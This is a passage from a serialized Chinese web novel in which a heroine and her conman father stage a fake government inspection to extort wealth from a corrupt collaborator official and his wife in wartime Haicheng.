顾茂丰连连摆手:“哪里哪里,我就是找你的那些学生们聊了聊,他们啥都没说,是我自己猜的。” 春妮对学生们还是有信心的,谅他也没能力跟踪她,遂不打算跟他再纠缠下去。 顾茂丰忙追上去,道:“妮儿,你要是有了麻烦,可以跟爹说。爹别的不敢说,在海城经营了那么多年,认得一些人的。妮儿,爹是真想帮上你。” 春妮原本越走越快,想赶紧把他甩开,听到最后一句话,她转过身来:“你真的想帮我?” 第160章 160 害怕 顾茂丰从屏风后面缓缓转出。 培罗蒙的手工定制西装三件套, 口袋里别上一支康克令金笔,再穿上小牛皮的牛津鞋,鼻梁架起的眼镜是金边的, 头发用施华蔻发蜡梳出大背头, 打理得光可鉴人,手臂微微一抬,一只百达翡丽的腕表半隐半露,最后,手里那条卡地亚定制的手杖拄得端是气势迫人。 换完装,闪亮登场的顾茂丰让其他人差点瞪掉了眼眼珠子,简直跟前几天那个木讷落魄的小商人顾茂丰判若两人。 “我滴个乖乖, 三百块大洋就换来这一身?”蒋四成上前,仔细弹了弹西装上不存在的灰, 惊叹道。 不怪他表现得这么没见识,这个年代,三百块大洋在海城的租界不经花,但华界能买到一套不赖的小房子。 顾茂丰这一身, 除了百达翡丽的表和卡地亚手杖过于贵重,是租的之外, 别的都是买的。即使有些是从当铺里买的,已经过了一手,价格是高昂得让人咂舌。他相当于将一套房子穿在了身上, 奢侈得让人直吸凉气。 这是春妮从到海城之后,自掏腰包花过的最大一笔钱。双城那些哭着喊着说没钱, 却一个赛一个穿得体面讲究,打扮得既怕别人看不出来,又怕别人看得出来, 玩低调奢华快要玩出花的高级政府官员给她留下了深刻的印象。她想让顾茂丰扮得像一点,只能照式样给他都来一份。 为了那五十万块银元,春妮是下了重本了。 她看出顾茂丰还有话要说,同其他人道:“你们先出去吧。” 却也忍不住多看他上眼,顾茂丰皮相是很不错的,不然也不会骗到一个又一个的女人。即使现在四十多岁了,经过这样精心的收拾,也是儒雅不失俊秀的帅大叔一个,至于鬓边的那抹白霜,反而为他增添了一份成熟的魅力。 “还有什么要求,趁现在时间没到,都一起提了吧。” 别人一走,顾茂丰声音立刻软下来:“妮儿,让我再看看夏生吧。” “你昨天不是已经看过了?” “让我再看一眼吧,我这一去,还不知道什么时候能再见到他。昨天就看那一眼,怎么够?” 这个年代,儿子才是男人的根脉延续。 要想马儿跑,又想马儿不吃草是不可能的,特别是对顾茂丰这个精明人。别看他这几天对她百依百顺,春妮深知,自己在顾茂丰心里的地位可能连夏生一根手指头都不如。这一点,从他以前每年捎回家乡的大洋数目就看得出来。 夏生出生之前,他们祖孙三代每年得到顾茂丰的供养至多不超过三十块银元,听说一整年一分钱没寄回来的时候都有。夏生出生后,顾茂丰头一年往家里就打了五十块银元回来,其后的每一年,随着夏生的长大,银元的数目都在不断增长。夏生五岁,也就是她奶奶死的那年,顾茂丰还专门寄回来二十块钱,说是给夏生请个好师父,让他早点开蒙。 有夏生在,春妮不怕他想鬼主意坑害自己。他哪怕心里恨得想把女儿大卸八块,也不会伤害他心爱的儿子一根汗毛。现在夏生跟自己捆绑在一起,他轻易绝对不敢乱来。 春妮铁石心肠:“你现在穿成这样,一出门所有人都会注意到你。这个时候,你去了我们学校,不是平白惹来嫌疑?” 想想还得给根胡萝卜吊着:“都在海城,你又不去别处。改日我再找个时间,找个地方,带着他跟你再见一面。” “那是什么时候?” “你该出发了。” 如今的局势瞬息万变,离顾茂丰那天主动找到春妮,表态他想帮忙,又过去了将近一个月。 这一个月中,春妮忙活对顾茂丰改头换面,而在双城那边,尹校长帮他们四处打探政府方面消息,完善这个骗局,终于为顾茂丰物色到了一个合适的人选 ——监察院反贪专员施之锋。 相较春妮之前为王建利设定的教育部专员这个角色,监察院专门负责监察公务员违纪犯法问题,在政府部门中本来就比较神秘,这位施之锋也是确有其人。 尹校长说,这个人几个月前就离开了双城,去向不明。平时他在部门里存在感也不高,说起对他的评价,都是些泛泛的“勤勉”“干练”之类。 看到这么详尽的情报,春妮很庆幸,自己选择跟尹校长合作真是选对了。这样的东西,绝不是随便什么人都打探得出来的,他肯定动用了不可名状的力量。 这也说明,尹校长对她此次的安排同样抱有很高的期望。不过也是,春妮答应过他,事成之后,会分他三成,他当然积极了。 这一个月中,外界变化同样不小。继四月份南城政府成立以来,伪政府宣布组建各部各院班子,以厚利引诱名流豪绅,以及以前旧政府官员公务员出任高官。王季新以其双城政府元老成员的身份登高一呼,招来拊冀的蝇营狗苟之辈多如牛毛,他再顺利将76号从倭人手中拿下,用这条恶犬对付那些仍然在摇摆不定的人,伪政府班子的职能部门组建进展颇为顺利。 这段时间,严广福也顺利从锦阳大酒店被要到了付鸿民身边跑腿。 他频频传话过来,说付鸿民这这段时间说话已经不再遮掩,数次对那些被挖去南城政府做高官的旧日同僚们表示了羡慕。他还通过陈济给南城送了好几次贵重礼品,可能是教育部在伪政府的班子中属于较边缘的部门,王季新至今还没见过他,不过,这已经是迟早的事。 春妮他们再不动手,说不定哪天醒来,付鸿民宣布改弦易辙,这笔钱他们想谋都没有了机会。 目送顾茂丰和王建利等人步上汽车,春妮转身离开。 想到这对师兄弟多年之后的第一回见面,春妮毫不担心这两人会联手涮她,离开得很轻松。如今万事俱备,成与不成不由她决定,她的任务实际已经完成了。 至于顾茂丰和王建利,据二人所言,他们早年间因为一些私事结仇之后分道扬镳,数十年不见,第一次见面差点真打起来。 这次王建利和他的几个徒弟扮演施之锋的保镖,两个人在一起,也好互为牵制。 而车子一离开春妮的视线,顾茂丰吩咐开车的王建利:“换个方向,把车先开到任城路。” “凭什么?”王建利就是想给他添点堵:“你难道想跑?” 顾茂丰哼笑一声:“一直想跑的,难道不是你?我让你开,你直接开过去就是。” “我不,顾小姐让我送你去付家,难道说,她一走,你就不打算听她话了?” “你——”顾茂丰吸了口气:“古人阵前对敌,都有临机之权。顾小姐让我办事,可没有要求过我该怎么办,也没要求过我必须听她的步骤。你要是不听我的,坏了大事担当得起吗你?” 王建利突然一拍方向盘,怒道:“我他娘最恨有人拽文。不过呢,你甩过来的大帽子我可不接,你得先说清楚你想干什么,不然老子怕又被你坑死。” 顾茂丰思考片刻:“好吧。你记得我是来海城干什么的?” “废话,我当然记得。来调查前教育部长付鸿民庚款使用情况。” “既然是来调查,你说我该干什么?” “对啊,你应该先从调查做起。那你去任城路是——” “打草惊蛇。” “啊?” 顾茂丰微微一笑,说起骗人,他是大师级别的:“我既然是来调查的,不掌握足够的证据,拿到相当的底牌,我跟付鸿民见面,拿什么来跟他谈?” “这不是有顾小姐给你准备好了吗?” “可付鸿民不知道。妮……顾小姐说过,付鸿民是个胆小的人。胆小的人突然受到惊吓,往往会做出失当的事,我要是抓住这个机会——” 王建利正听得聚精汇神,听见顾茂丰咳嗽一声:“该转弯了。” ………… 那对师兄弟会产生龃龉几乎是一定的,春妮没在意他们怎么处理内部矛盾。 经历了一整个夏天的火爆之后,直到十月份,天气冷得实在不适合再下水做竞技比赛,秦伟他才宣布了水球比赛今年这个赛季结束。 而春妮作为比赛的小股东,被秦伟通知去领钱时,才发现自己竟然这一个赛季就拿到了三百多块的利益回报,将她上午才在顾茂丰身上下的本全填了回来! 她的股份只在水球比赛里占了不到一成,就有三百多块钱领,可想而知,秦伟作为最大头,赚得有多少了。 再将工资,场地和宣传成本一扣除,这个利润率比起做实业卖粮食,高得像白捡钱来似的。 即使这些钱里有秦伟派人开赌盘的收益,那也是相当可观的。 因而这几天,秦伟没事就跑到学校请她喝咖啡,还缠着春妮问,要找她再想个差不多有趣又赚钱的投资项目来。 而就在春妮被秦伟缠得烦不胜烦的时候,付鸿民躲在小公馆里也正烦不胜烦:“你真听清了?他们叫那个人施专员?” “我真听清了。” “哎呀,那可怎么办?” “付公为什么这么怕这个姓施的?” 付鸿民哀声叹气:“你不知道,这几天这个姓施的一直在我出没的地方转悠,还总问邻居我的事,我怕他是双城政府派来来查我的。” “这……这也不一定吧?” “你没在双城政府待过,不知道。他们那样的人最讲派头,走路说话的腔调跟别人都不一样,我一看就知道,错不了。” “付公别紧张。就算他是双城政府的人,可这里是倭国人的地盘,他肯定不敢乱来。” “哎呀,你不懂就别乱说了。” “付公要是实在害怕,不如我们请几个兄弟,把他们几个人做掉吧?” “啊?” 160-170 第161章 161 筹划 付鸿民被身边人的建议吓到了。 付鸿民此人, 胆小,好钻营,贪财爱权好渔色一大堆毛病, 但他自诩为名士雅人, 名士雅人怎么能说杀人就杀人呢? 身边人的蛊惑,他的确心动了一瞬间,很快被他坚定地拒绝了。 有些人总盼着他跟双城政府来个彻底的割裂,但他这辈子只想做官发财,舒舒服服地过到老,那些乱七八糟的事,他可不想沾。如果有可能的话, 他完全可以食东家宿西家,两头吃两头赚一点都不成问题。 杀了那位施专员, 等于彻底跟双城政府决裂,付鸿民可不想为了南城政府做这么大的牺牲。 不独是付鸿民,即使那些投了南城伪政府的汉奸们,有几个是真正想认倭国人当主子, 一条道走到黑的? 正因如此,他才跟陈济眉来眼去这么些日子, 却迟迟没有下定决心走到最后一步。但若是双城政府要断他财源,那就没办法了,饿死守节这种蠢事他才不干。 回到家里, 付鸿民先去了夫人的房间:“家里还有多少值钱的东西,你点一点。” “干什么?你又要我出钱去给你通关系?还是想从我这捞钱出来补贴外边的小妖精?”付夫人深知丈夫的德性, 她跟付鸿民夫妻多年,娘家争气,还生了三个儿子, 早就懒得去争这个风,无非是搭伙过日子。反正比起那些不养家不顾家的男人,付鸿民发财的时候没忘了家里人,算是过得去。 两公婆早有默契,他每次从哪里弄到了钱,要先上交一半给家用,剩下的,随便他拿去干什么,付夫人才懒得管他。 “你说哪里的话?告诉你吧,这次说不定,我要大祸临头了。”付鸿民咬着耳朵,将他的猜测跟夫人说了。 “好好的,怎么冒出来一个施专员?双城政府不忙着跟倭国人打仗,万里迢迢来对付我们干什么?是不是你把打点部长的钱给偷偷昧下了?” “我少了谁的那一份,也不敢少了部长的。上个季度的孝敬这不是才刚给他打到花旗银行的户头上?” “对了,你说部长上次让你每个月给那什么学校一万块钱,会不会是他在双城听到什么消息,让你先散点钱出去?” “这我哪知道?要真是这样,部长不会直接通知我?” 付夫人比付鸿民精明,闻言疑道:“那这个人会不会是假的?” “那个施专员的人在附近转悠好几天了,我看不像是假的。” “总之你查清楚,现在骗子花样多,最好拍封电报,托人在双城政府打听。” “我试试吧。可惜以前我在监察院不认识什么人,不然好多点准备。” 付夫人寻思半晌,突然道:“姓付的,我警告你,你别打我主意,老娘这儿一个子儿都没有!” “哎呀,夫人,你跟我发什么脾气?总之,你该藏的该送的,都好好盘点盘点,想想该怎么应付吧。” “不用你操心,那些东西我早就藏到了保险的地方,他只管来查,我包管他什么都查不到。” 付夫人很有理财头脑,这个年代,到处打来打去,土地也不是那么靠谱。付鸿民拿回家的钱都被她一点点换成了有价证券,黄金,贵重宝石,分别藏到了好几个地方。 付鸿民却不大放心:“夫人哪,你真是不明白他们那些人做事的手段。什么东西,只要他们想查,你就是藏在耗子洞里,他也能给你翻出来。” “我这里你不用担心,倒是你联会里的帐可得做清楚,免得被人抓到把柄。那些当官的都贪,你拿些钱看能不能打发了他。” “知道知道,这些不用你说,我自有办法。”付鸿民想了想,“你还是把钱都存进外国银行吧,政府查帐管不到洋鬼子身上。” “可那些洋鬼子不讲信义,当年中法实业银行第一次倒闭的时候,我爹存的五万块大洋就打了水漂,他们后来逼政府填坑再开业,说以前的银行已经破产清算,以前的存单也不算数了。钱存进去,万一他们翻脸不认人怎么办?” “哎呀,你怕这怕那的,等钱被中央政府 抄走,你老公我脑袋搬了家,到时候哭都来不及了。我可是听说,这些监察院的专员们都有战时处置权,杀人不眨眼!你是不是不害死我不罢休?” ………… 顾茂丰是在四天后出现在的华法联会办公楼外。 得到消息的付鸿民一早迎候在外:“哎呀,施专员大驾光临,付某人有失远迎,罪过,罪过。” “施专员”板着脸铁面无私:“不敢。在下在双城,每每听人提起尔等这些在沦陷区坚持抗战的同僚们,就感佩十分,认为付会长在沦陷区必然是朝不保夕,旦日枕戈。现在看来,付会长日子过得很不错嘛,比我们后方舒服多了。” 付鸿民为了迎接今天的审查,早早换上了一身不起眼的布衣,听他猛地质问,作不解状:“施专员此言这是从何而来?付某人——” “施专员”摆了下手:“不必多说,跟我进来。”说着,反客为主,走了进去。 付鸿民被他气势吓住,一时忘了先找他核实身份。 然而一进门,只剩下两人之时,“施专员”脸色又是一变:“付会长,这次,你的问题可是不少啊。” 付鸿民觑着他的神色没有在门外时严肃,大声喊冤:“施专员,我真是没做过出格的事啊。” “施专员”道:“你不用狡辩,你的事,我心里有数。是不是冤枉的,把帐册拿来,我先看看。” 春妮给顾茂丰的资料中,只知道法方打款的时间,方式,但帐户名称和具体金额,凭严广福肯定查不出来,这些都需要他自己掌握。 付鸿民迟疑了一下,想起夫人说的话,正想开口,顾茂丰板起脸:“怎么?付会长真的有猫腻?” “没有没有。施专员稍等,我这就去。” 顾茂丰草草翻了遍帐册,把该记的都记下来,冷笑道:“付会长帐做得的确漂亮。可实话告诉你,这次我们是接到了确切线报,掌握了实证才找上门的。付会长,你最好快点坦白,省得我亲自动手,大家闹起来不好看!” 付鸿民大惊失色:“是谁?是谁陷害的我?!我冤枉啊!”从口袋中摸出一个薄薄的封子,塞给顾茂丰:“施专员,我等一心为国,你可不能被小人蒙蔽了。” 顾茂丰接过封子,略略抽出来瞟过一眼,是张两千五百法郎,价值一千块银元的支票。 他心中暗自冷笑,将封子往桌上一拍:“付会长,你当施某人是什么人?一点钱就想收买我?” 这是嫌钱少啊!不怕嫌钱少,就怕你不嫌! 付鸿民立刻来了精神:“施专员息怒,咱们有话好好说。这点茶钱,只是在下的一点心意。”一双眼睛将他上下扫过,心里有了数。 ………… 这天晚上,春妮接到了顾茂丰离开后传来的第一个信。 “明天上午六点,老地方见。” 得手了?这么快? 尽管心里觉得不可能,春妮仍是在第二天准时出现在了江边。 顾茂丰比她来得更早,他站在江边,出神地盯着自己在水中的倒影,不知在想什么。 第一眼,春妮便发现他身上的衣服换了,还有领带夹也换成了一枚镶珍珠的。 看见只有她一个人来,顾茂丰有些失望,给她一张支票:“昨天我去见了付鸿民,他为了封我的嘴,给了我这么多。”又解释道:“原来还有一张两千五百块的,我拿去买了些新衣服,总不能只穿一套。” 春妮接过支票,金额那一栏中填得清清楚楚“一万五千圆”,币种为法郎,相当于六千块银元。 这注礼其实不差,少说够他们学校再盖一层楼起来,或者买到法租界丽莎公寓的高级套房。 第一次见面,就让付鸿民送了他一套房子,顾茂丰果然有几分能耐。 但现在学校每个月也能从付鸿民手上抠到一万块银元,相比于此人得到的,这点钱就不太够看了。 顾茂丰解释道:“他哭诉说,手上的钱早就在打点各方上用了一大半,现钱只有这么多。我认为不能逼他太紧,就先答应了下来。现在我跟他说,至少要查几天帐做做样子,他以为他把我稳住了。” 这也在春妮的预料中,这个人这么会花,可能手上真的没多少钱,但他不可能一分钱没攒。顾茂丰现在要做的第一件事,就是将他历年积攒的财富想办法全挤出来。 第二件才是掌握他的帐户,为己所用。不过第二件事太难,春妮即使提了出来,也没有抱太大希望。 这事的确急不得,得慢慢筹划。春妮此前问过顾茂丰的打算,他表现得很自信,可一直没明白说过自己的计划。 顾茂丰接着道:“王建利这几天一直在跟踪付太太,发现她每天都在往各大银行跑。我们买通了汇丰的大班,通过那个人,已经初步掌握到,付太太在汇丰存了三百根大黄鱼,一箱首饰,还有一些美元和英镑。按照这个金额估算,其他银行也差不多。” “那你打算怎么把这些钱弄出来?” “这个,我需要你配合一下。” 第162章 162 明路 一展眼, “施专员”一行已经在华法联会查了两天的帐。 这两天中,付鸿民以“施专员”旅途辛苦,要犒劳他去逛戏园子, 去舞厅跳舞, 去酒楼吃大餐,还张罗要他换个更高档的酒店,并时不时叫来几位名伶影星伴游。 这些款待,“施专员”有的接受了,有的则以“以公务为重,玩物丧志”为由给拒绝了。 他这样的作派,令付鸿民心里的怀疑又消减了一分:要真是骗子, 看到这么多好东西,不一股脑全扒拉进自己腰包, 还有往外推的? 但付太太坚持认为此人来得古怪,不对劲,要求亲自试他一试。太座也是得罪不得,付鸿民笑道:“施专员不远千里为付某人的事奔波, 付某人的家人得知之后,深为不安, 今日特地让付某来带个话,敝府将于今晚在家设宴招待施专员,还望专员不吝赏光。” “施专员”道:“我此行是秘密前来, 原本就不好惊动人,贤伉俪不必麻烦。” 付鸿民道:“只是家宴罢了, 宴上只有我们一家人,没有别人,施专员尽可放心, 我们不会泄露。” 顾茂丰观察了这几天,心知付鸿民手里恐怕是真没有多少钱,正想找机会探探付家的底,付鸿民此举正中他的下怀,不再推辞:“那施某人就恭敬不如从命了。” 是夜,付家位于法租界的小洋楼灯火通明。 开席之前,付太太听说“施专员”家里有两女一子,给包括施太太在内的所有施家人送了一份礼物。施太太送的是一套祖母绿的戒指和胸针,施家的两位小姐一人一副卡地亚的镶钻手钏,时尚不失贵重。至于给施家独子的,则是一块劳力士手表。 “施专员”并不像在办公室那样难伺候,他照单全收,似乎十分满足,言语间频频令付家人安心,表示他们体国之心很快能得到证明,党国不会亏待有功之臣。 付鸿民吃了一颗定心丸,喜不自胜,手舞足蹈,险些开心得笑出来。 还是付太太稳得住,一个眼神使过去,以付鸿民为首的付家男人们开始向“施专员”举杯劝酒:“这是家父珍藏多年的法国红酒,我当年成婚,他都没舍得拿出来,施专员可 要好好品尝。” 又说:“这瓶汾酒是窖藏五年以上的珍品,施专员一定要好好尝尝。” 下了班的施专员似乎没什么戒心,开席没多久,在每个人的殷切相劝之下,他很快醉得话都要说不清了。 而酒桌上的话题也越聊越开,终于付鸿民问道:“不知以前施专员是什么时候到政府工作的?以前付某人竟没见过。” “施专员”醉眼迷蒙:“你当然没见过我,我啊,以前就没在政府工作过!” 酒桌上一静,付鸿民欠起身子:“那你以前是干什么的?” “施专员”咧嘴一笑,比了个手势:“知道是哪里了吗?” 付鸿民脸色顿时大变,几乎挂不住笑:“阁下是稽查处的?!稽查处不是只管军队违纪?我是政府雇员,怎么会是你们来查帐?” 政府军队稽查处,侦缉处和军法处,他们都隶属于同一个地方——中统。这个连军方大佬听起来胆尖都要颤一颤的地方,怎么可能不让付鸿民惊慌? “施专员”撑起一只眼皮:“付公何必如此惊慌?我说我以前在稽查处,又不是现在。总统很满意我们稽查处这些年做出的成绩,有感于现在公务员队伍讲吃讲喝,过于腐化,有心想挖出几个毒瘤以儆效尤,从稽查处秘密调出了好些人马放到监察院分赴各地,专门核查各级官员贪腐问题。” 付鸿民心惊肉跳:“付……付某人不过区区一介清吏,又远在海城,怎会惊动身在中统的阁下大驾?” “施专员”眨了眨眼睛,嘻嘻一笑:“你猜?” 付鸿民冲付太太使了个眼色,付太太不情不愿地,递给他一张支票。付鸿民托起支票放到 “施专员”眼下。 银元一万块! “施专员”眼皮一跳,勾了勾手指,令付鸿民附耳上来:“付会长,实话告诉你吧,是有人要找你麻烦。” 付鸿民惊道:“付某人自问留守海城四年多来,兢兢业业,从来不敢怠慢党国要务,不知是谁要害付某人?” “施专员”笑而不语:他怎么知道? 付鸿民不敢逼问,只能望着“施专员”的迷之微笑展开猜测:“是李处长?还是王次长?”他连着说了好几个名字,“施专员”都只笑不语,直到他脸色越发难看,吐出最后一个名字:“难道是吴部长?” “施专员”眉尖微挑:从春妮给他的资料中,他知道,吴部长是教育部部长,也极有可能是付鸿民背后的靠山。 付鸿民以为猜中,大惊道:“真的是他?我一向待吴部长恭敬尊重,他为什么要害我?!”一时声泪俱下,握住“施专员”的手:“专员,你可一定要救救我啊!” “施专员”面露为难:接下来,他该怎么说? 付鸿民几乎要吓尿,连一旁的付太太都端不住了:被中统这群在租界里神出鬼没搞暗杀的魔头盯上,上司也偷偷出卖了他,那还了得? 若说付太太跟付鸿民一样,被身边人怂恿得先还起了点杀心,得知“施专员”的“身份”后,却是不敢再乱动:这些双城分子都是出手狠辣的亡命徒。天下没有不透风的墙,她干掉了“施专员”,说不定她哪天就被“锄奸”了。 她急得一股脑往外掏支票:“施专员,你可一定要救救我们,给我们指条明路啊!” “施专员”粗粗看过两眼:好家伙,这些支票中大的三千块,小的五百块,共有五六张,他这轻轻一吓,少说又是两万块银元入手! 他汲汲营营数十年攒下的家业,都没有今晚只说了一席话得来的多。 顾茂丰酒意朦朦:这一张张白白的纸条仿佛化身成了白花花的银元,雪片般倾天向他砸下,让他头晕目眩。 顾茂丰揉了揉额头,付太太急忙唤人:“愣着干什么?没看见施专员不舒服吗?还不来帮忙按按?” 说完,一双冰凉柔软的小手按上了他的太阳穴。 也不知那小手怎么做的,只按了几下,“施专员”隐隐作痛的脑袋舒服了很多,他抬头望去,一张清新可人的小脸映入眼中,冲他羞涩地笑笑,垂手站到了一旁。 在那一瞬间,顾茂丰的眼神不自觉追逐过去:他虽然半生之中都在研究女人,欺骗女人中度过,也曾受过女人的追捧与爱慕,但那些都是经历过人事,眼中有风尘的成□□人,何曾有像这样鲜嫩可爱的小姑娘这般冲他笑? 在追逐美色上,男人至死都是少年。 但作为职业骗子,顾茂丰的专业性不容质疑:“急什么,你们自己都说了,你们远在天边都有人查,那近在眼前的,还逃得过去?” 后面的,有付鸿民自动给他补全了:“吴部长也被秘密调查了?” “这是你自己说的,我可没说。付会长,你这段时间,出入一定要当心啊。”顾茂丰打了个酒嗝,站起来:“不早了,明天还要上班,我先告辞了。” 付家人跟着站起来:“专员慢走。” 付太太慢了一步,拽着那个按摩的丫头追上去:“小芙,去扶着施专员上车。” 小芙?顾茂丰鼻翼张翕,顺势将半个身体的重量压了上去。 ………… 顾茂丰离开后,付家人拉上窗帘,检查好门窗,回到客厅紧急开会。 “夫人,我说了吧。那个姓施的绝不可能是假的,你看他那德性,跟双城政府出来的人一模一样!” “哎呀,你这个时候还要跟我分个高下?知不知道你麻烦大了?” “我还有什么麻烦?那不是有施专员?他已经答应过我,说这次不会认真追究。” “你只听施专员不会追究,他说的要你小心,是什么意思,你还没听出来?” “不就是帐目上的问题吗?我已经把帐做平了,施专员也不追究。天下太平,还有什么事会发生?” “吴部长呢?你说,他要是被查了,会不会为了脱罪,把事情全推到你身上?” 相对其他广开门路的政府部门,教育部桎梏不少,是个相对清贫的地方。拨款不到位,那些名流高知可会闹了。尤其是战争年代,国民教育被拔高到前所未有的高度,方方面面都盯着,不好做手脚。唯一能捞点油水的,就只有像付鸿民这样被外派到各地,审计不方便,组织相对松散的商会联会等二级组织。 也就是说,部长的财源不多,付鸿民身在海城,款项又不走政府公帐,他是部长财源里非常重要的一部分。部长要是出了事,他多半也跑不掉。施之锋只是个专员,他只能保证他这里不出问题,但万一有其他知情人从背后捅一刀呢? “不……不会吧?” “什么会不会,我早就说过,双城政府要是有心重用你,还能把你丢在这黑天恶地一丢就是好几年?我让你趁早投到南城政府。去得早了还能烧个热灶,你在里边的位置就越高,偏偏你犹犹豫豫的不痛快,误了老娘的大事!” 付鸿民不甘,忽然想起:“我不是前两天往双城拍了电报,找人查查这次的事吗?现在结果都还没出来,你急什么急?” 平日里虽然天天都在说要投到南城,事到临头,他反而退缩了。 “被中统盯上,你以为你有那么容易脱身?” “施之锋不是说,他不是中统的人吗?” “他说不是就不是?反正这样的日子老娘一天都不想过了。你要是觉得你一点事都不会有,就领着你的小妖精们在海城这待着,大可以试试看会不会有人来杀你,我是要带着孩子们去南城的。”付太太站起来,一迭声吩咐:“周嫂王妈,都跟我去楼上收拾东西。” 完了又叫大儿子:“你跟妈来,拿着妈的印章,明天去汇丰银行走一遍。我姐姐说,他们在南城新筹办了一个华兴银行,正在高息吸储,我 的钱还是存到华国人自己的银行放心。” 付太太说的姐姐,其实是王季新的太太。付太太跟王太太是打小的闺友,后来她又上赶着认着人当了干姐妹。 付鸿民急了:“不用这么着急吧?你怎么就知道那什么华兴银行一定保险?”去南城不止意味着改弦易辙,还意味着他还得抛弃华法联会的一切,包括每年高达百万的退款。 疯了疯了,这婆娘也太不经吓,她怎么这就疯了? 付家人吵吵得不可开交之际,顾茂丰正双眼微阖,坐在飞驰的汽车后座上养神。 王建利看他那志得意满的模样就不爽:“被小姑娘拉了下手,就高兴得找不着北了?你别忘了,你是有任务在身的人。” “忘不了,”顾茂丰酒全醒了:“先去江浦的学校。” 第163章 163 聪明 付太太行动力极强, 即使头天晚上跟付鸿民差点大打出手,第二天早上仍是早早起床,把自己收拾得珠光宝气出了门。 付先生是抓钱能手, 付太太生财有道, 付家其实是海城少有的有两辆汽车的家庭。 付太太出门出得较早,等付鸿民一觉醒来,站在洗漱间刮胡子的时候,外边噼噼啪啪,爆出一长串炒豆子的声音。 付鸿民却是脸色微变,离卫生间的窗户远了一些。 海城虽然不打仗,但包括租界在内, 从来都不太平。那些□□火拼都是小事,毕竟这都是些江湖气极重的乌合之众。一般如“施专员”这等出身的地下特勤人员暗杀要员, 清理门户,那才是让人心惊肉跳,日夜难安。 不过,他住在法租界, 自从法国人投了德国,跟着他们的新主子一起同倭国人暖昧起来, 法租界的警察部门配合倭国人,严抓了好几次整治治安后,那些顽固的双城分子很久都没有再像以前那样嚣张得敢当街就杀人了。 贴着墙壁站了会儿, 付鸿民想起,说不定自己也上了这些人的暗杀名单, 顿时失去了听戏的闲心,奔出卧房,叫来听差:“去看看发生了什么事。” 听差应声而出, 不消片刻,付家门口一阵喧哗。 付太太被两个听差架在中间奔进门,一张脸雪雪白,抖成秋风中的黄叶:“吓死我了,吓死我了。” 看见付鸿民,扑上去嚎啕大哭,迭声叫道:“这鬼地方待不得了,咱们今天就走。” “怎,怎么了?”付鸿民被太太蹭了一领子的眼泪鼻涕,偏又推不得打不得,将她扶到沙发上坐下。 付太太抖如筛糠,拽住付鸿民,哪里讲得出话? 还是今天载她出门的司机老李经过众人的追问,说出了原尾。 原来付家的两辆车中,有一辆是今年花了门路走私来的新车,一向给了付鸿民开在外面充门面。今早付太太出门时,看见付鸿民的车,想起昨晚跟他吵架吵得一晚上没睡好觉,故意让老李开了新车去银行办事。 车子开到巷口,付太太想起没吃早饭,吩咐老李下车去给她买生煎包时,几个黑衣人冲出来,掏出枪照着车子就是“啪啪”几下。 老李倒霉,手臂被子弹崩到,流了半袖子的血,命也被吓掉了半条:“车子前后玻璃全碎了,要不是他们开枪的时候,巡捕正在附近,我就回不来了。” “幸好,今天老大没跟我一起去。”一杯热茶下肚,半晌,付太太才缓过神来。 昨晚付家两公婆在家里大吵大闹,身为儿子两边都不好帮,干脆称头疼,早早回了房躲清净。今早付太太叫他出门时,他推说头疼没好,赖在床上不动弹,反倒躲过了一劫。 付太太这话刚说完,巡捕也登了门让付家人去警察局做口供。于是一家人拥着付太太,请巡捕护送,坐车去了警察局,录完口供,又给了巡捕厚厚的茶水费,已经到了下午。一家人筋疲力尽,瘫倒在沙发上。 付太太有气无力地叫:“周嫂,给我端杯热茶来。真是的,没一点眼力劲,看见主人家回来了,也不知道主动点,上来伺候。” 连着叫了几声,端茶上来的却是个弓着背,一脸老态的老妈子。 “王妈我没叫你,我不是说,你没事不许上主屋来吗?周嫂呢?”付太太问。 老妈子道:“周嫂说她想辞工,托我跟您说一声。” 付太太愕然,随即暴怒:“好啊,她这是看主人家有了难,自己先跑了!你让她亲自来跟我说,不然这个月工钱她别想要了!” “周嫂她已经收拾包袱走了。” “什么?她走了多久了?” “有一个钟头了吧。” 付太太气得也不累了,点着吴妈道:“你去周嫂屋里好好搜搜,她一向手脚不干净,别以为我不知道。好好找,她肯定偷偷卷了我们家东西跑了!要是有什么不见了的,马上请巡捕房上门来查。” 又叫“老李”,然而还没等她说出要求,老李捂着胳膊小声道:“太太,我也想跟您辞工。” 付太太指向他,猛地倒出一口气,翻眼向下栽去。 在一迭声的惊叫声中,老李坚持行过礼,一秒钟都不肯多耽搁,转身往外走去。 有人看见,追上去劝了两句,老李却道:“你还不知道?付家让仇家给盯上了,我现在不跑,难道等哪天真有人拿枪打穿了脑袋再跑?”还反过来劝别人:“我劝你也别留在这儿了,大家都是拿工钱办事,一个月工钱就这么多,何必留在他们身边陪着等死?” 他被付家人连累受了伤,做完口供回来,他们看见他的血已经自行止住,没说要请个医生来好好给他看便罢,竟马上又使唤他干起了活! 付家又不是多宽厚大方的人家,眼见有麻烦要来,没谁是笨蛋,不跑等着被人连累一锅端了不成? 付家人屋漏偏逢连阴雨,一顿饭时间没过,家里的仆人请辞的请辞,请假的请假,竟是跑了一大半。 恐惧这种情绪是能传染的,付太太气得牙疼,却只能肿着腮帮子挨个儿打电话,让银行□□,无论如何也要先把钱取出来再说。 可银行那种地方,存钱的时候叫你大爷,取钱的时候,没点特殊能耐,还想叫人给你特殊服务?做梦吧你! 不出意外,所有银行都在电话里告诉付太太,她想取钱的话只能亲自到银行去。 可被子弹打穿的车还停在院子里,司机老李已经辞职不干,付太太她就是能壮着胆子去,也要找得到跟她一道去的人才是啊! 严广福就是在这时候上的门:“付先生,一早听说您这里出了事,您还好吧?”他被付鸿民安排在华法联会坐班,不算是付家的下人。 付太太对严广福是极熟悉的,只因有了这小子,每次她在牌桌上都能大获全胜。 看见他便问:“小严,你会不会开车?” 严广福自然说:“会。太太想去哪?” “那你开车,跟我去一趟银行。” “不行!” “妈!您千万不能去!”付家几人吓得同时出声。 付太太这会儿反而坚定了:“才闹出这么大的事,那些人就算想接着动手,也不在今天。再说,”她瞪了付鸿民一眼:“他们想杀的,是你爸爸,我怕什么?小严,你跟我去一趟,回来我好好谢你。” 她拒绝了儿女们的陪伴,把大儿子打发去订头等火车票,二儿子让留在家打点行李,老三则赶去了书房,家里的仆人们都带上壮胆,重整衣冠出发去了各大银行。 严广福开车载着付太太在城里转了半个圈,从各大银行带出来七八个箱子,将付太太平平稳稳送进家门,得了一个银元的赏钱,笑嘻嘻出了付家大门。 付家人守着全部家产,几乎一夜未眠。 第二天凌晨,路上还没几个人,付太太和儿子仆人一人两个黑眼圈,再提着两个箱子,悄悄出了门。 